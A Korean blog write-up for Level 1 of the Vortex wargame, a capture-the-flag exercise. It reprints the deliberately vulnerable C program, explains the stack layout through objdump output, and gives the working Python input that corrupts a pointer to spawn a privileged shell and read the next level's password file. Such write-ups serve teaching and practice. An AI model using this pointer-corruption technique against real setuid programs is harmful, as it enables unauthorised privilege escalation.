2014. 8. 5. 07:05

Level 1

/*
 * vortex1.c
 */
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': print(buf, sizeof(buf)); continue; break;
                        case '\\': ptr--; break; 
                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
                }
        }
        printf("All done\n");
}


분석

우선 vortex1.c 파일을 분석해봅시다.

print 함수는 별거 없이 그냥 현재 buf 변수 내의 값을 hex값으로 출력하는 함수 입니다.

그리고 main을 보면 EOF가 나올때까지 stdin에서 값을 입력받으면서, 입력된 문자 종류에 따라서 세가지 다른 명령을 실행합니다.

1. "\n" (newline character): 현재 "buf"의 값을 프린트합니다.

2. "\\" ('\' character): ptr의 포인터 를 한칸 앞으로 보냅니다.

3. default: 우선 e() 매크로 함수를 실행하고 현재의 ptr에 입력된 값을 넣은 후, ptr를 한칸 뒤로 보냅니다.


이제 프로그램의 구조를 살펴봅시다.

ptr는 buf + (sizeof(buf)), 즉 buf + 256에서 시작합니다.

현재의 스택 구조를 유추해보면

+-------------------------------------------------------------------------------------------------------------+

 |   x (4 bytes)   |   ptr (4 bytes)   |                        buf (512 bytes)                                 |

+-------------------------------------------------------------------------------------------------------------+

variable이 생성된 순서로 유추해봤을때, 이런 구조라고 생각됩니다.

vortex0에서 봤듯이, vortex 서버는 little-endian 형식을 사용중입니다.


이제 문제의 풀이법을 봅시다.

e() 매크로 함수를 보면, (ptr & 0xFF000000)의 값이 0xCA000000일 경우, vortex2의 쉘이 실행됩니다.

little-endian 형식이므로, buf에 가까운 두자리를 바꿔주면 되겠습니다.


풀이

이제 우리가 할 일은 간단합니다.

'\' 문자를 계속 입력해서 ptr 변후의 주소까지 이동한 후, 0xCA를 입력해주면 됩니다.

초기 ptr의 위치는 buf + 256이므로, 우선 '\' 문자를 256번 입력하면 ptr는 buf를 가르키게 됩니다.

'\'를 256번 입력해주기 위해서 python을 사용하도록 하겠습니다.

vortex1@melinda:~$(python -c 'print "\\" * 256 + "A"') | /vortex/vortex1

이제 출력된 buf의 값을 확인해보면 buf의 첫번째 값이 0x41, 즉 "A"로 변경된 것을 볼 수 있습니다.

이제 ptr값을 바꾸기 위해서 '\'문자를 한번 더 입력한 후, "A" 대신에 "\xca"를 입력해서 ptr 안에 0xca를 입력해줍시다. 그리고 그 뒤에 아무 문자를 한개 더 입력해서 e() 매크로 함수를 실행시키면 shell이 실행될 것입니다.

vortex1@melinda:~$(python -c 'print "\\" * 257 + "\xcaA"') | /vortex/vortex1

그런데 어떻게 된 일인지 shell이 실행되지 않고 buf의 내용이 출력되기만 합니다.

우리가 생각했던 스택 구조가 잘못된 것 같습니다.

objdump를 사용해서 어셈블리 코드를 보도록 하겠습니다.

vortex1@melinda:~$objdump -d --no-show-raw-insn /vortex/vortex1

결과:

...
08048577 <main>:
 8048577:	push   %ebp
 8048578:	mov    %esp,%ebp
 804857a:	push   %esi
 804857b:	push   %ebx
 804857c:	and    $0xfffffff0,%esp
 804857f:	sub    $0x220,%esp
 8048585:	mov    %gs:0x14,%eax
 804858b:	mov    %eax,0x21c(%esp)
 8048592:	xor    %eax,%eax
 8048594:	lea    0x1c(%esp),%eax		# buf
 8048598:	add    $0x100,%eax
 804859d:	mov    %eax,0x14(%esp)		# ptr
 80485a1:	jmp    8048643 <main+0xcc>
 80485a6:	mov    0x18(%esp),%eax		# x
 80485aa:	cmp    $0xa,%eax
 80485ad:	je     80485b6 <main+0x3f>
 80485af:	cmp    $0x5c,%eax
 80485b2:	je     80485cc <main+0x55>
 80485b4:	jmp    80485d3 <main+0x5c>
 80485b6:	movl   $0x200,0x4(%esp)
 ...

highlight된 부분이 각각 buf, ptr, x 변수들의 선언 부분입니다. 그런데 주소를 자세히 보면 아시겠지만 스택의 주소값이 x, ptr, buf의 순서가 아닌 ptr, x, buf의 순서입니다.

이 정보를 통해서 알게된 스택의 구조를 시각화해보면 아래와 같이 됩니다.

+-------------------------------------------------------------------------------------------------------------+

 |   ptr (4 bytes)   |   x (4 bytes)   |                        buf (512 bytes)                                 |

+-------------------------------------------------------------------------------------------------------------+


즉, \\의 개수가 우리가 처음 생각한 257개가 아니라 4개를 더 더한 261개여야 한다는 것입니다.

vortex1@melinda:~$(python -c 'print "\\" * 261 + "\xcaA"') | /vortex/vortex1

buf의 값이 출력되지 않는 것을 보니까  e() 메크로함수으 ㅣ조건은 만족한 듯 하지만, shell이 바로 실행되자마자 꺼져버려서 아무것도 입력할 수 없습니다.

이를 해결하기 위해 cat을 이용해서 실행된 shell에 값을 계속 입력할 수 있게 만들어줍니다.

vortex1@melinda:~$(python -c 'print "\\" * 261 + "\xcaA"' ; cat) | /vortex/vortex1
whoami
vortex2
cat /etc/vortex_pass/vortex2
*********

이렇게 얻은 password를 이용해서 vortex2 계정에 로그인 할 수 있습니다.

Posted by KCBS